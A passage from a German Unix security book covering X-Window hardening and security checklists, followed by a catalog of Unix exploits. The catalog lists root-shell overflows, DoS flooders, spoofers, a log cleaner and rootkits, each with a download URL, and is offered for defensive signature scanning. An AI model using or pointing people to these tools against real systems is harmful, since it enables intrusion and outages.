eingehen. Ich habe bereits darauf hingewiesen, wo Sie das Tool finden können. An dieser Stelle möchte
ich Ihnen empfehlen, sich die folgenden Dokumente zu besorgen:
»Writing, Supporting, and Evaluating TripWire: A Publicly Available Security Tool«, Kim und
Spafford, http://www.raptor.com/lib/9419.ps.
»The Design and Implementation of TripWire: A Filesystem Integrity Chekker«, Kim und
Spafford, http://www.raptor.com/lib/9371.ps.
18.17 Über X-Window
Das X-Window-System ist ein weiterer Punkt, der Sie eventuell betreffen könnte. Wenn Ihr Rechner ein
Web-Server ist, besteht überhaupt kein Grund dafür, X-Window zu installieren. Wenn Sie X-Window
jedoch einsetzen, gibt es einige wichtige Dinge zu beachten.
Die Hauptschwachstelle von X-Window - das xhost-Sicherheitsloch - läßt sich leicht beheben. Wenn ein
X-Server keine Zugriffskontrolle aktiviert hat, kann jeder von überall her im Internet ein zusätzliches
X-Window öffnen und beliebige Programme starten. Als generelle Lösung können Sie dieses Loch
schließen, indem Sie den xhost-Eintrag von Xsession von xhost + in xhost - ändern.
Wenn Sie ein Unix-Neuling sind, denken Sie vielleicht, daß X nur eine weitere grafische Oberfläche ist,
aber es steckt sehr viel mehr dahinter. G. Winfield Treese und Alec Wolman schrieben in »X Through
the Firewall and Other Application Relays«:
Beim X-Window-System ermöglicht es das grundlegende Sicherheitsmodell den Benutzern,
die Hosts selbst festzulegen, denen eine Verbindung zu dem X-Server gewährt wird. Das
Unix - die große Herausforderung
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betrifft nur neue Verbindungen, nicht die bereits existierenden. Viele Benutzer deaktivieren
die Zugriffskontrolle aus Bequemlichkeit ganz, sobald sie mehr als ein paar Hosts benutzen.
X-Window ist keine grafische Benutzeroberfläche, auch wenn es so aussehen mag. Verbindungen
werden an den X-Server gesendet. Der X-Server kann jeden gültigen X-Client bedienen, egal, ob dieser
sich auf demselben Rechner befindet oder Kilometer entfernt ist. John Fisher schreibt in seinem Artikel
»Securing X Windows«:
X-Window ist auf seiner untersten Ebene eigentlich ein Kommunikationsprotokoll, das
X-Protokoll. Dieses Protokoll wird innerhalb eines einzelnen Computers oder über ein
Netzwerk von mehreren Computern benutzt. Es ist nicht an das Betriebssystem gebunden
und daher auch für eine Vielzahl anderer Plattformen erhältlich. X- Window verwendet ein
Client-Server-Modell der Netzwerkkommunikation. Dieses Modell ermöglicht es einem
Benutzer, ein Programm an einem Ort laufen zu lassen, aber von einem anderen Ort aus zu
steuern.
X-Window ist deshalb genau wie alle anderen Protokolle unter Unix. Es arbeitet nach dem
Client-Server-Modell und stellt Zugang über das Internet und zu einer Vielzahl von Systemen und
Architekturen zur Verfügung. Wenn eine gültige Verbindung gestartet wird, ist alles möglich (wie in der
X11R5-Xserver-ManPage beschrieben):
Das X-Protokoll an sich weiß nichts von Berechtigungen für Fenster-Operationen oder
irgendwelchen Beschränkungen dessen, was ein Client machen darf. Wenn ein Programm
eine Verbindung zu einem Display herstellen kann, hat es freien Zugang zu dem Bildschirm.
Sobald eine Verbindung steht, kann der Angreifer Fenster zerstören, neue Fenster erzeugen,
Tastatureingaben und Paßwörter abhören und wirklich jede mögliche Aktivität in der X- Umgebung
ausführen.
Die X-Authentifizierung basiert auf einem sogenannten Magic Cookie. Das ist ein 128-Bit- Wert, der
durch eine Pseudo-Zufallsauswahl erzeugt wird. Er wird an die Clients verteilt und in der Datei
.Xauthority gespeichert. Dieses Authentifizierungsschema kann theoretisch überwunden werden. Es wird
aus folgendem Grund als schwach angesehen:
Obwohl der XDM-Authorization-1-Mechanismus ausreichenden Schutz vor Leuten bietet,
die versuchen, sich Authentifizierungsdaten aus dem Netzwerk zu fischen, hat er ein großes
Problem: Der ganze Sicherheitsmechanismus steht und fällt mit dem Schutz der Datei
.Xauthority. Wenn Fremde sich Zugang zum Inhalt Ihrer .Xauthority -Datei verschaffen
können, kennen sie den für die Verschlüsselung der Daten verwendeten Schlüssel, und mit
der Sicherheit ist es vorbei.
Wegweiser:
Der obige Abschnitt ist ein Auszug aus einem Artikel von Francois Staes mit dem Titel »Security«, der
in The X Advisor erschienen ist.
Wenn Sie die Zugriffskontrolle aktivieren, besteht zwar wenig Gefahr, daß ein Eindringling an Ihre
.Xauthority-Datei gelangen kann. Dennoch sollten Sie sich nicht auf die einfache Zugriffskontrolle
verlassen. Man hat sich bemüht, die X-Sicherheit zu verbessern, und es gibt keinen Grund, warum Sie
Unix - die große Herausforderung
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nicht von diesen Bemühungen profitieren sollten. Sie sollten schon deshalb zusätzliche
Sicherheitsmaßnahmen ergreifen, weil sich in der Vergangenheit gezeigt hat, daß die grundlegenden
X-Sicherheitsschemata fehlerhaft sind. So steht im CERT-Bulletin »X Authentication Vulnerability«:
Zwei weit verbreitete Authentifizierungsschemata für das X-Window-System haben
Schwachstellen bei der Sample Implementation. Diese Schwächen könnten es
unautorisierten Benutzern ermöglichen, sich mit X-Displays zu verbinden. Davon betroffen
sind X11 Release 6 und ältere Releases der X11-Sample-Implementation. Es wurde
berichtet, daß unter Ausnutzung zumindest einer dieser Schwächen in Systeme eingebrochen
wurde, und daß in Cracker-Kreisen inzwischen Exploits verfügbar sind.
Außerdem automatisieren viele verfügbare Programme (wie xkey, xscan, xspy und watchwin) die
Aufgabe entweder des Knackens des X-Servers oder des Ausnutzens des Servers, sobald er geknackt
wurde.
Experten raten zur Verwendung einer Kerberos-basierten Xlib oder des in RFC 1413 definierten
Authentifizierungsprotokolls. Ihre Wahl hängt natürlich von Ihrer speziellen Netzwerkkonfiguration ab.
Hier sind einige grundlegende Tips zur X-Sicherheit:
Verwenden Sie wenigstens immer die Magic-Cookie-Authentifizierung, nicht die Host- basierte
Authentifizierung mit xhost.
Sorgen Sie dafür, daß sich nirgendwo in Ihrem System xhost + befindet, sei es in den
.xsession-Dateien oder gar in den Shell-Scripts zu X.
Einige Unix-Varianten, darunter Solaris, erzeugen unter /tmp Verzeichnisse für die Sokkets des
X-Servers mit falschen Berechtigungen. Gegebenenfalls müssen Sie die Modes dieser
Verzeichnisse nach jedem Boot des Systems anpassen mit: chmod 1777 /tmp /tmp/ .X11*.
18.18 Checklisten und Leitfäden
Bevor Sie mit der Planung Ihres Netzwerks beginnen, sollten Sie sich einige der im folgenden
aufgeführten Dokumente besorgen. Sie sind eine gute Hilfe zum besseren Verständnis der Struktur eines
Netzwerks, und Sie lernen, wie Sie gute Sicherheitsvorkehrungen implementieren können.
Securing Internet Information Servers. CIAC-2308 R.2. Von den Mitgliedern des
CIAC-Teams. Dezember 1994. PDF-Format. Ihr Rechner wird zum Internet Information Server.
Dieses Dokument führt Sie Schritt für Schritt durch die Sicherung von anonymem FTP, Gopher
und des Web. Es gewährt Ihnen Einblicke in häufige Konfigurationsprobleme und häufige
Sicherheitslücken. http://ciac.llnl.gov/ciac/documents/CIAC-
2308_Securing_Internet_Information_Servers.pdf.
Securing X Windows. CIAC-2316 R.0. Von John Fisher, August 1995. Lawrence Livermore
National Laboratory Computer Incident Advisory Capability CIAC Department of Energy
UCRL-MA-121788. PDF-Format. Dieses Dokument wird Ihnen helfen, die grundlegenden
Schwächen von X-Window zu verstehen und die Sicherheit auf Ihrem Server zu verbessern.
http://ciac.llnl.gov/ciac/documents/CIAC- 2316_Securing_X_Windows.pdf.
Electronic Resources for Security Related Information. CIAC-2307 R.1. Von Richard
Feingold. Dezember 1994. Dieses Dokument versorgt Sie mit einer umfassenden Liste von
Unix - die große Herausforderung
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Sicherheitsressourcen für Unix. Es wird Ihnen helfen, Ihr Problem einzugrenzen, und sagt Ihnen,
wen Sie wo fragen sollten. http://ciac.llnl.gov/ciac/documents/CIAC-
2307_Electronic_Resources_for_Security_Related_Information.pdf.
The AUSCERT (Australian CERT) Unix Security Checklist. (Version 1.1.) Letzte
Aktualisierung 19. Dezember 1995. Dieses Dokument ist wahrscheinlich die umfassendste
Sammlung von Unix-Sicherheitsinformationen. Es leitet Sie Schritt für Schritt bei der Absicherung
häufiger Löcher auf einer Vielzahl von Plattformen an. Eine ausgezeichnete Veröffentlichung.
ftp://caliban.physics.utoronto.ca/pub/ unix_security_checklist_1.1.
Computer Security Policy: Setting the Stage for Success. National Institute of Standards and
Technology. Januar 1994. CSL-Bulletin. Dieses Dokument hilft Ihnen bei der Aufstellung von
Sicherheitsrichtlinien für Ihr Netzwerk. http://www.raptor.com/lib/ csl94-01.txt
18.19 Ausgewählte Exploits für Unix (allgemein)
Der nächste Abschnitt enthält eine umfangreiche Sammlung von Angriffen und Sicherheitslöchern bei
Unix. Um den größten Nutzen aus dieser Liste zu ziehen, sollten Sie folgendermaßen vorgehen:
1. Laden Sie die Liste in eine Textdatei.
2. Extrahieren Sie die URLs.
3. Schreiben Sie ein Script, um die einzelnen Dateien zu bekommen.
4. Kompilieren Sie jede Datei und berechnen Sie ihren MD5-Wert.
5. Scannen Sie Ihr Netzwerk nach den resultierenden Signaturen ab.
Wenn unter Ihren Anwendern ein Cracker ist, werden Sie ihn möglicherweise finden.
abuse.txt
Zweck: Red Hat Linux hat ein Sicherheitsloch im Spiel Abuse. Diese Datei beschreibt, wie man dieses
Loch ausnutzen kann.
URL: http://main.succeed.net/~kill9/hack/os/linux/linabuse.txt
Autor: Dave M.
aix_dtterm.c
Zweck: Öffnet eine Root-Shell durch Ausnutzung eines Puffer-Überlaufs in dtterm.
URL: http://esperosun.chungnam.ac.kr/~jmkim/hacking/1997/07%26before/aix_dtterm.c
Autor: Georgi Guninski
AIX_host.c
Unix - die große Herausforderung
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Zweck: Öffnet eine Root-Shell in AIX durch Ausnutzung eines Puffer-Überlaufs in gethostbyname.
URL: http://www.asmodeus.com/archive/Aix/AIX_HOST.C
Autor: unbekannt
AIX_mount.c
Zweck: Nutzt einen Puffer-Überlauf in mount bei AIX 4.x aus.
URL: http://samarac.hfactorx.org/Exploits/AIX_mount.c
Autor: Georgi Guninski
aix_ping.c
Zweck: Erlaubt Root-Zugriff auf AIX durch Ausnutzung eines Puffer-Überlaufs in gethostbyname.
URL: http://www.society-of-shadows.com/security/aix_ping.c
Autor: Georgi Guninski
aix_xlock.c
Zweck: Erlaubt Root-Zugriff auf AIX durch Ausnutzung eines Puffer-Überlaufs in xlock.
URL: http://www.society-of-shadows.com/security/aix_xlock.c
Autor: Georgi Guninski
amod.tar.gz
Zweck: Ermöglicht Crackern, beliebigen Code in SunOS-Kernel zu laden.
URL: http://www.sabotage.org/rootshell/hacking/amod.tar.gz
Autor: unbekannt
arnudp.c
Zweck: UDP-Spoofing-Utility.
URL: http://www.asmodeus.com/archive/IP_toolz/ARNUDP.C
Autor: Arny (cs6171@scitsc.wlv.ac.uk)
ascend.txt
Zweck: Attackiert Ascend-Router von einem Linux-Rechner aus.
URL: http://www2.fwi.com/~rook/exploits/ascend.txt
Unix - die große Herausforderung
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Autor: The Posse
asppp.txt
Zweck: SolarisX86-Exploit, der zu für jeden schreibbaren .rhosts-Dateien führt.
URL: http://www.unitedcouncil.org/c/asppp.txt
Autor: unbekannt
autoreply.txt
Zweck: Modifizierte .rhosts-Dateien können zur Root-Berechtigung führen. (Die Ursache ist ein
Sicherheitsloch in der elm-mail-Distribution.)
URL: http://samarac.hfactorx.org/Exploits/autoreply.txt
Autor: unbekannt
bdexp.c
Zweck: Nutzt einen Puffer-Überlauf in einem Spiel (bdash) unter Linux aus.
URL: http://oliver.efri.hr/~crv/security/bugs/Linux/bdash.html
Autor: Nicolas Dubee
bind.txt
Zweck: Anleitung für eine DoS-Attacke gegen Bind.
URL: http://www.asmodeus.com/archive/SunOS/BIND.TXT
Autor: unbekannt
block.c
Zweck: Denial-of-Service durch Aufhebung der Benutzer-ttys.
URL: http://www.plato-net.or.jp/usr/vladimir/ugtxt/unix/OddsEnds.txt
Autor: Shooting Shark
breaksk.txt
Zweck: Wordlist-Attacke gegen Netscape-Server.
URL: http://www.society-of-shadows.com/security/breaksk.txt
Autor: unbekannt
Unix - die große Herausforderung
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brute_web.c
Zweck: Dies ist eine Gewaltattacke auf Web-Server. Das Programm sendet in schneller Abfolge
Benutzernamen und Paßwörter aus.
URL: http://www2.fwi.com/~rook/exploits/brute_web.c
Autor: BeastMaster V
cfexec.sh
Zweck: Attackiert GNU-cfingerd und führt beliebige Befehle aus.
URL: http://www2.fwi.com/~rook/exploits/cfexec.sh
Autor: east (east@l0ck.com)
cloak.c
Zweck: Cracker beseitigen ihre Spuren mit diesem Utility, indem sie ihre Aktivitäten aus den
System-Logs entfernen.
URL: http://www2.fwi.com/~rook/exploits/cloak.c
Autor: Wintermute von -Resist-
color_xterm.c
Zweck: Mit diesem Programm erhält man Root-Zugang in Linux durch Ausnutzen eines
Puffer-Überlaufs in dem Color-Xterm-Paket.
URL: http://ryanspc.com/exploits/color_xterm.c
Autoren: Ming Zhang und zgv
convfontExploit.sh
Zweck: Erlaubt Root-Zugriff durch Ausnutzen der Prozeß-ID von convfont. (Funktioniert nur mit
Linux.)
URL: http://www.space4less.com/usr/teknopia/security/convfontExploit.sh
Autor: Squidge (squidge@onyx.infonexus.com)
cxterm.c
Zweck: Erlaubt Root-Zugriff durch Ausnutzen eines Puffer-Überlaufs in cxterm auf Linux- Systemen.
URL: http://ryanspc.com/exploits/cxterm.c
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Autor: Ming Zang
dec_osf1.sh
Zweck: Nutzt eine Schwachstelle in top unter DEC Unix aus. (Führt zu Root-Zugang.)
URL: http://www.asmodeus.com/archive/DEC/DEC_OSF1.SH
Autor: unbekannt
demonKit-1.0.tar.gz
Zweck: Trojanisches Pferd zum Eindringen in Linux-Systeme durch eine Hintertür.
URL: http://www.net-security.sk/unix/rootkit/demonKit-1.0.tar.gz
Autor: unbekannt
dgux_fingerd.txt
Zweck: Anleitung zum Angreifen von finger auf Digital Unix.
URL: http://www.unitedcouncil.org/c/dgux_fingerd.txt
Autor: unbekannt
dipExploit.c
Zweck: Dieser Code nutzt dip aus, ein Einwähl-Utility unter Linux.
URL: http://www2.fwi.com/~rook/exploits/dipExploit.c
Autor: unbekannt
doomsnd.txt
Zweck: Ergibt Root-Zugriff auf Linux durch Ausnutzen einer Lücke in Dooms sndserver- Paket.
URL: http://www.asmodeus.com/archive/Xnix/DOOMSND.TXT
Autor: unbekannt
dosemu.txt
Zweck: Auf Debian Linux kann das DOS-Emulationspaket verwendet werden, um Dateien zu lesen, die
Root gehören.
URL: http://pcisys.net/~bpc/work/dosemu.txt
Autor: unbekannt
Unix - die große Herausforderung
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dumpExploit.txt
Zweck: Beschreibung eines Sicherheitslochs in Red Hat 2.1-4.1 /sbin/dump. (Es ist in suid- root
installiert und ermöglicht lokalen Benutzern das Lesen aller Dateien.)
URL: http://www.unitedcouncil.org/c/dumpExploit.txt
Autor: David Meltzer
eject.c
Zweck: Exploit für Puffer-Überlauf in dem Programm eject auf Solaris 2.4.
URL: http://www.asmodeus.com/archive/slowaris/EJECT.C
Autor: unbekannt
elm_exploit.c
Zweck: Nutzt einen Puffer-Überlauf in elm unter Linux aus.
URL: http://www.chaostic.com/filez/exploites/elm_exploit.c
Autor: BeastMaster V
eviltelnetd
Zweck: Trojanisches Pferd für den Telnet-Daemon, das eine Root-Shell ermöglicht.
URL: http://samarac.hfactorx.org/Exploits/telnetd-hacked.tgz
Autor: unbekannt
expect_bug.txt
Zweck: Erläutert eine Schwachstelle in Expect, einer beliebten Programmiersprache zur Automatisierung
von Terminal-Sitzungen.
URL: http://www.society-of-shadows.com/security/expect_bug.txt
Autor: unbekannt
fdformat-ex.c
Zweck: Erlaubt Root-Zugriff auf Solaris 2.x durch Ausnutzen des Utilitys zur Disketten- Formatierung.
URL: http://www.asmodeus.com/archive/slowaris/FDFORMAT-EX.C
Autor: unbekannt
ffbconfig-ex.c
Unix - die große Herausforderung
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Zweck: Nutzt einen Puffer-Überlauf in dem FFB Graphics Accelerator aus und erzielt Root- Zugriff.
URL: http://www.asmodeus.com/archive/slowaris/FFBCONFIG-EX.C
Autor: unbekannt
finger_attack.txt
Zweck: Beschreibung einer Denial-of-Service-Attacke durch Bombardieren von fingerd.
URL: http://www.sabotage.org/rootshell/hacking/finger_attack.txt
Autor: unbekannt
FreeBSDmail.txt
Zweck: Exploit zum Angriff von sendmail auf Rechnern mit FreeBSD 2.1.x.
URL: http://www-jcr.lmh.ox.ac.uk/rootshell/hacking/FreeBSDmail.txt
Autor: Alexey Zakharov
FreeBSD-ppp.c
Zweck: Erlaubt Root-Zugriff auf FreeBSD durch Ausnutzen eines Puffer-Überlaufs in pppd.
URL: http://www.rasputin.net/~itamae/outernet/filez/FreeBSD-ppp.c
Autor: Nirva
ftpBounceAttack
Zweck: Die beliebte FTP-Bounce-Attacke.
URL: http://www-jcr.lmh.ox.ac.uk/rootshell/hacking/ftpBounceAttack
Autor: unbekannt
ftp-scan.c
Zweck: Nutzt FTP als Startrampe zu Scan-Diensten, die hinter Firewalls liegen.
URL: http://www.society-of-shadows.com/security/ftp-scan.c
Autor: Kit Knox
getethers1.6.tgz
Zweck: Scannt Netzwerke und erhält Hostnamen und Hardware-Adressen aller Hosts in einem LAN.
Unix - die große Herausforderung
file:///d|/cool stuff/old/hack/kap18.htm (35 von 55) [19.04.2000 21:15:09]
URL: http://www.rootshell.com/archive-ld8dkslxlxja/199707/getethers1.6.tar.gz
Autor: unbekannt
glimpse_http.txt
Zweck: Nutzt ein Sicherheitsloch im Suchtool Glimpse aus und führt auf dem Zielrechner beliebige
Befehle aus.
URL: http://www.unitedcouncil.org/c/glimpse_http.txt
Autor: unbekannt
gpm-exploit.txt
Zweck: Nutzt ein Sicherheitsloch in Linux' Mausunterstützung aus, um Root-Rechte zu erlangen.
URL: http://www.asmodeus.com/archive/linux/GPM-EXPLOIT.TXT
Autor: unbekannt
h_rpcinfo.tar.gz
Zweck: Stiehlt Speicherauszüge von RPC-Diensten von einem entfernten Host.
URL: http://www.jammed.com/~jwa/Security/h_rpcinfo.tar.gz
Autor: unbekannt
hide.c
Zweck: Erlaubt unautorisiert Lese- und Schreibberechtigung für /etc/utmp.
URL: http://irdu.nus.sg/security/softwares/hide.c
Autor: unbekannt
hpjetadmin.txt
Zweck: Erläuterung eines Exploits in hpjetadmin, der zu Root-Berechtigung führt.
URL: http://www-jcr.lmh.ox.ac.uk/rootshell/hacking/hpjetadmin.txt
Autor: r00t
identd_attack.txt
Zweck: Denial-of-Service-Attacke durch Bombardieren von identd.
URL: http://www2.fwi.com/~rook/exploits/identd_attack.txt
Unix - die große Herausforderung
file:///d|/cool stuff/old/hack/kap18.htm (36 von 55) [19.04.2000 21:15:10]
Autor: Corinne Posse
ident-scan.c
Zweck: Erhält UID und Namen von Daemonen, die auf entfernten Hosts laufen.
URL: http://users.dhp.com/~fyodor/nmap/scanners/ident-scan.c
Autor: Dave Goldsmith
iebugs.tar.gz
Zweck: HTML-Distribution von sechs Internet-Explorer-Bugs.
URL: http://users.dhp.com/~fyodor/sploits/internet_explorer_bug_collection.html
Autor: Viele (siehe Installationshinweise.)
imapd_exploit.c
Zweck: Nutzt ein Sicherheitsloch in Red Hat Linux aus, das es entfernten Angreifern ermöglicht, über
imapd Root-Zugang zu erhalten.
URL: http://mayor.dia.fi.upm.es/~alopez/bugs/bugtraq2/0263.html
Autor: Akylonius
innd_exploit.c
Zweck: Erzielt eine Shell durch Ausnutzen eines Puffer-Überlaufs in innd auf bestimmten
Linux-Systemen.
URL: http://www.unitedcouncil.org/c/innd_exploit.c
Autor: Method (method@arena.cwnet.com)
ipbomb.c
Zweck: Wirft einen Host aus dem Netz, indem es ihn mit einer Vielzahl von Paketen bombardiert (von
denen einige sehr groß sind).
URL: http://www.truelink.net/user/mtoole/Linux/ipbomb.c
Autor: unbekannt
IPInvestigator.tgz
Zweck: Sniffer (neu).
URL: http://www2.fwi.com/~rook/exploits/IPInvestigator.tgz
Unix - die große Herausforderung
file:///d|/cool stuff/old/hack/kap18.htm (37 von 55) [19.04.2000 21:15:10]
Autor: unbekannt
ipspoof.c
Zweck: Spoofing-Code für Linux (wobei Linux die Kompilierungsplattform ist).
URL: http://www.rat.pp.se/hotel/panik/archive/ipspoof.c
Autor: unbekannt
IP-spoof.txt
Zweck: Ausgezeichneter kleiner Leitfaden zum Spoofing (Code und Beispiele für Linux.)
URL: http://www.unitedcouncil.org/c/IP-spoof.txt
Autor: Brecht Claerhout
irix-buffer.txt
Zweck: Eine Sammlung von Pufferüberlauf-Exploits für IRIX.
URL: http://sunshine.sunshine.ro/FUN/New/hacking/irix-buffer.txt
Autor: Last Stage of Delirium (aus Polen)
irix-csetup.txt
Zweck: Kurze Beschreibung des Exploits von csetup in IRIX.
URL: http://www-jcr.lmh.ox.ac.uk/rootshell/hacking/irix-csetup.txt
Autor: unbekannt
irix-dataman.txt
Zweck: Exploit für dataman auf IRIX-Systemen, der es Angreifern ermöglicht, unautorisiert
Shell-Befehle auf dem Zielsystem auszuführen.
URL: http://www.asmodeus.com/archive/Irix/IRIX-DATAMAN.TXT
Autor: unbekannt
irix-df.c
Zweck: Exploit zum Öffnen einer Root-Shell auf IRIX mit Hilfe von df.
URL: http://samarac.hfactorx.org/Exploits/irix-df.c
Autor: DCRH
Unix - die große Herausforderung
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irix-fsdump.txt
Zweck: Ergibt Root-Zugriff auf IRIX über einen Puffer-Überlauf in fsdump.
URL: http://www.sabotage.org/rootshell/hacking/irix-fsdump.txt
Autor: unbekannt
irix-iwsh.c
Zweck: Nutzt einen Puffer-Überlauf in iwsh (auf IRIX) aus, um Root-Rechte zu erhalten.
URL: http://www.unitedcouncil.org/c/irix-iwsh.c
Autor: DCRH
irix-login.c
Zweck: Erlaubt Root-Zugriff durch Ausnutzung eines Puffer-Überlaufs in login auf IRIX.
URL: http://www.chaostic.com/filez/exploites/irix-login.c
Autor: David Hedley
irix-login.txt
Zweck: IRIX-login ermöglicht Ihnen die Erzeugung beliebiger Dateien durch Angabe von Pfaden,
Verzeichnisnamen und Dateinamen anstelle von Login-Namen. Dieser Text erläutert, wie man dieses
Sicherheitsloch ausnutzen kann.
URL: http://www.chaostic.com/filez/exploites/irix-login.txt
Autor: unbekannt
irixmail.sh
Zweck: Erlaubt Root-Zugriff durch Ausnutzen eines Sicherheitslochs in mail auf IRIX.
URL: http://www.asmodeus.com/archive/Irix/IRIXMAIL.SH
Autor: unbekannt
irix-xhost.txt
Zweck: Bei frisch installierten IRIX-Versionen kann jeder auf den X-Server zugreifen. Dieser Text
beschreibt dieses Problem.
URL: http://www.unitedcouncil.org/c/irix-xhost.txt
Autor: unbekannt
Unix - die große Herausforderung
file:///d|/cool stuff/old/hack/kap18.htm (39 von 55) [19.04.2000 21:15:10]
irix-xlock.c
Zweck: Erlaubt Root-Zugriff durch Ausnutzen eines Puffer-Überlaufs in xlock unter IRIX.
URL: http://www.unitedcouncil.org/c/irix-xlock.c
Autor: unbekannt
irix-xterm.c
Zweck: Erlaubt Root-Zugriff durch Ausnutzen eines Puffer-Überlaufs in xterm unter IRIX.
URL: http://www.sabotage.org/rootshell/hacking/irix-xterm.c
Autor: unbekannt
jakal.c
Zweck: Scannt hinter Firewalls durch Aussenden halboffener Verbindungsanforderungen.
URL: http://pages.ripco.com:8080/~flyght/old/jakal.zip
Autoren: Halflife, Jeff Fay und Abdullah Marafie.
jizz.c
Zweck: DNS-Spoofing-Utility (automatisiert Cache-Spoofing).
URL: http://dewmed.ml.org/online/jizz.c
Autor: Nimrood (basierend auf Code von Johannes Erdfelt)
jolt.c
Zweck: Wirft Windows-95-Rechner durch Aussenden sehr großer, fragmentierter Pakete aus dem Netz.
Führt manchmal auch zum Reboot oder schlichten Stehenbleiben des Windows- 95-Rechners.
URL: http://www.tomco.net/~nomad/files/mine/jolt.c
Autor: Jeff w. Roberson
kcms.txt
Zweck: Ergibt durch einen Exploit Root-Berechtigung auf Solaris.
URL: http://www.sabotage.org/rootshell/hacking/ksolaris.txt
Autor: JungSeok Roh (Korea)
kill_inetd.c
Unix - die große Herausforderung
file:///d|/cool stuff/old/hack/kap18.htm (40 von 55) [19.04.2000 21:15:10]
Zweck: Denial-of-Service-Attacke durch Bombardieren von inet.d (für Linux geschrieben).
URL: http://www2.fwi.com/~rook/exploits/kill_inetd.c
Autor: unbekannt
kmemthief.c
Zweck: Exploit zum Erlangen von Root-Rechten auf Systemen, wo kmem für die ganze Welt lesbar ist.
URL: http://www2.fwi.com/~rook/exploits/kmemthief.c
Autor: unbekannt
ld.so.c
Zweck: Durch Ausführen einer dynamisch gelinkten setuid-Binary kann ein Benutzer einen Fehler des
Laufzeit-Linkers (ld.so) erzwingen und schließlich beliebige Root-Befehle ausführen. (ELF ld-linux.so
ist ebenfalls verwundbar.)
URL: http://smash.gatech.edu/archives/ale/9707/0138.html
Autor: KSR[T] (ksrt@DEC.NET) und Patch von Alan Cox.
lemon25.c
Zweck: Erlaubt Root-Zugriff auf Solaris durch Ausnutzen eines Puffer-Überlaufs in passwd.
URL: http://www.geek-girl.com/bugtraq/1997_1/0211.html
Autor: Cristian Schipor (Budapest)
lilo-exploit.txt
Zweck: Erlaubt Root-Zugriff auf Linux durch Ausnutzen eines Sicherheitslochs im Laufzeit-Linker.
(Erfordert eine geknackte libc.so.5, verfügbar unter http://www.rootshell.com/ .)
URL: http://www.asmodeus.com/archive/linux/LILO-EXPLOIT.TXT
Autor: BeastMaster V
lin_probe.c
Zweck: Erlaubt Root-Zugriff durch Ausnutzen eines Puffer-Überlaufs in SuperProbe unter Linux.
URL: http://www.unitedcouncil.org/c/lin_probe.c
Autor: Solar Designer
lin-pkgtool.txt
Unix - die große Herausforderung
file:///d|/cool stuff/old/hack/kap18.htm (41 von 55) [19.04.2000 21:15:10]
Zweck: Das Linux-Software-Installationstool pkgtool schreibt seine Log-Dateien mit den Rechten 666,
so daß lokale Benutzer Schreibzugriff haben. Das kann es Angreifern ermöglichen, eine neue
.rhosts-Datei zu schreiben (und schließlich Root-Rechte zu erlangen.)
URL: http://www.society-of-shadows.com/security/lin-pkgtool.txt
Autor: Sean B. Hamor (hamors@LITTERBOX.ORG)
linux_httpd.c
Zweck: NCSA auf Linux-Systemen hat einen Bug. Entfernte Angreifer können eine Remote-Shell
erlangen, indem sie dieses Utility verwenden. (Das ist ein ziemlich schwerwiegender Fehler.)
URL: http://www2.fwi.com/~rook/exploits/linux_httpd.c
Autor: savage@apostols.org
linux_lpr.c
Zweck: Erlaubt Root-Zugriff über lpr, das einen Puffer-Überlauf hat.
URL: http://www.unitedcouncil.org/c/linux_lpr.c
Autor: unbekannt
linux_rcp.txt
Zweck: Der Benutzer nobody kann Root-Privilegien erhalten. (Passen Sie auf Ihren HTTP- Server auf.)
URL: http://www.sabotage.org/rootshell/hacking/linux_rcp.txt
Autor: unbekannt
locktcp.c
Zweck: Killt entfernte Solaris-X86-2.5x-Hosts.
URL: http://www.geek-girl.com/bugtraq/1996_4/0338.html
Autor: Unbekannt. Advisory von Todd Vierling (tv@pobox.com)
logarp.tar.gz
Zweck: Findet Rechner anhand der Hardware-Adresse der Netzkarte, die eine falsche IP- Adresse haben.
URL: http://www.jammed.com/~jwa/Security/logarp.tar.gz
Autor: unbekannt
lquerylv.c
Unix - die große Herausforderung
file:///d|/cool stuff/old/hack/kap18.htm (42 von 55) [19.04.2000 21:15:10]
Zweck: Öffnet eine Root-Shell durch Überschreiben eines Puffers in /usr/sbin/lquerylv (nur für AIX).
URL: http://samarac.hfactorx.org/Exploits/lquerylv.c
Autor: Georgi Guninski
lquerypv.txt
Zweck: Lokale Benutzer können alle Dateien (einschließlich der Paßwort-Dateien) lesen, indem sie
lquerypv auf AIX verwenden. Folgender Text zeigt wie:
URL: http://samarac.hfactorx.org/Exploits/lquerypv.txt
Autor: unbekannt
minicom.c
Zweck: Nutzt einen Puffer-Überlauf im beliebten Linux-Terminalprogramm Minicom aus.
URL: http://linuxwww.db.erau.edu/mail_archives/server-linux/Sep_97/0451.html
Autor: Gustavo Molina (gustavo@molina.com.br)
mod_ldt.c
Zweck: Speicher-Exploit für Linux. Diese Attacke erzielt Root-Rechte.
URL: http://www.society-of-shadows.com/security/mod_ldt.c
Autor: QuantumG und Morten Welinder
mount-ex.c
Zweck: Linux' mount hat einen Puffer-Überlauf: Dieser Code automatisiert den Exploit.
URL: http://www.asmodeus.com/archive/linux/MOUNT-EX.C
Autor: Bloodmask & Vio Covin
nfsbug.c
Zweck: Nutzt einen Bug in unfsd 2.0 und älteren Versionen. (Errät ein Datei-Handle.)
URL: http://www.klaphek.nl/files/nfsbug_hpux.patch
Autor: Olaf Kirch
octopus.c
Zweck: Killt einen entfernten Host durch Aussenden Tausender Verbindungsanforderungen (für Linux).
Unix - die große Herausforderung
file:///d|/cool stuff/old/hack/kap18.htm (43 von 55) [19.04.2000 21:15:10]
URL: http://www.tomco.net/~nomad/files/dos/octopus.c
Autor: unbekannt
oracle.txt
Zweck: Denial-of-Service-Attacke gegen Oracle-Web-Server.
URL: http://www-jcr.lmh.ox.ac.uk/rootshell/hacking/oracle.txt
Autor: unbekannt
pepsi.c
Zweck: Tool für UDP-Flooding und Denial-of-Service-Attacken (Linux als Kompilierungsplattform).
URL: http://www.society-of-shadows.com/security/pepsi.c
Autor: Soldier@data-t.org
perl-ex.sh
Zweck: Root-Exploit für SUIPERL.
URL: http://www.asmodeus.com/archive/Xnix/PINE_EXPLOIT.SH
Autor: unbekannt
phf.c
Zweck: Scannt nach Hosts, die durch das PHF-Sicherheitsloch verwundbar sind.
URL: http://www.asmodeus.com/archive/web_java/PHF.C
Autoren: Alhambra von Infonexus und The Guild (GOODFELLAS).
phobia.tgz
Zweck: Noch ein Scanner. Sucht nach einer Vielzahl von Sicherheitslöchern.
URL: http://www.sabotage.org/rootshell/hacking/phobia.tgz
Autor: unbekannt
pine_exploit.sh
Zweck: Nutzt eine Schwachstelle im Mail-Client pine aus. (Erzeugt falsche .rhosts- Dateien.)
